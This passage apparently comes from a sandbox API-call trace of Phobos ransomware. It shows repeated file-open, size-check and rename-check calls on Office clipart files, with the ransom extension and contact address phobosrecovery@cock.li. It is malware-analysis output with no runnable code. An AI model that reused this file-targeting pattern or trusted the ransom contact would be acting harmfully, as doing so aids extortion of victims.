dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.383] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14194) returned 1 [0149.383] CloseHandle (hObject=0x580) returned 1 [0149.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0149.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.384] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.384] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=37390) returned 1 [0149.385] CloseHandle (hObject=0x580) returned 1 [0149.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x220 [0149.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.385] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.385] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.385] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15856) returned 1 [0149.385] CloseHandle (hObject=0x580) returned 1 [0149.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf")) returned 0x220 [0149.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.386] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.386] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=18194) returned 1 [0149.386] CloseHandle (hObject=0x580) returned 1 [0149.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf")) returned 0x220 [0149.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.386] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.502] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.527] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=30414) returned 1 [0149.527] CloseHandle (hObject=0x580) returned 1 [0149.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0149.528] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.529] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.563] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17924) returned 1 [0149.563] CloseHandle (hObject=0x580) returned 1 [0149.563] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0149.564] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.564] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.564] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.575] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=31180) returned 1 [0149.575] CloseHandle (hObject=0x580) returned 1 [0149.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0149.575] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.575] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.575] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.576] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12958) returned 1 [0149.576] CloseHandle (hObject=0x580) returned 1 [0149.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0149.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.576] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.577] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.577] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2488) returned 1 [0149.577] CloseHandle (hObject=0x580) returned 1 [0149.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0149.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.577] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.577] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.578] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2188) returned 1 [0149.578] CloseHandle (hObject=0x580) returned 1 [0149.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x220 [0149.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.578] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.579] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4396) returned 1 [0149.579] CloseHandle (hObject=0x580) returned 1 [0149.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0149.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.579] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.579] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.581] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3696) returned 1 [0149.581] CloseHandle (hObject=0x580) returned 1 [0149.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0149.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.581] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.581] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.582] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1564) returned 1 [0149.582] CloseHandle (hObject=0x580) returned 1 [0149.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220 [0149.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.582] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.582] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.582] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4660) returned 1 [0149.582] CloseHandle (hObject=0x580) returned 1 [0149.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220 [0149.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.583] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.583] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3988) returned 1 [0149.583] CloseHandle (hObject=0x580) returned 1 [0149.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220 [0149.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.583] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.584] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.584] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.584] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2636) returned 1 [0149.584] CloseHandle (hObject=0x580) returned 1 [0149.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0149.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.585] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.585] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0149.585] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5392) returned 1 [0149.585] CloseHandle (hObject=0x580) returned 1 [0149.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program 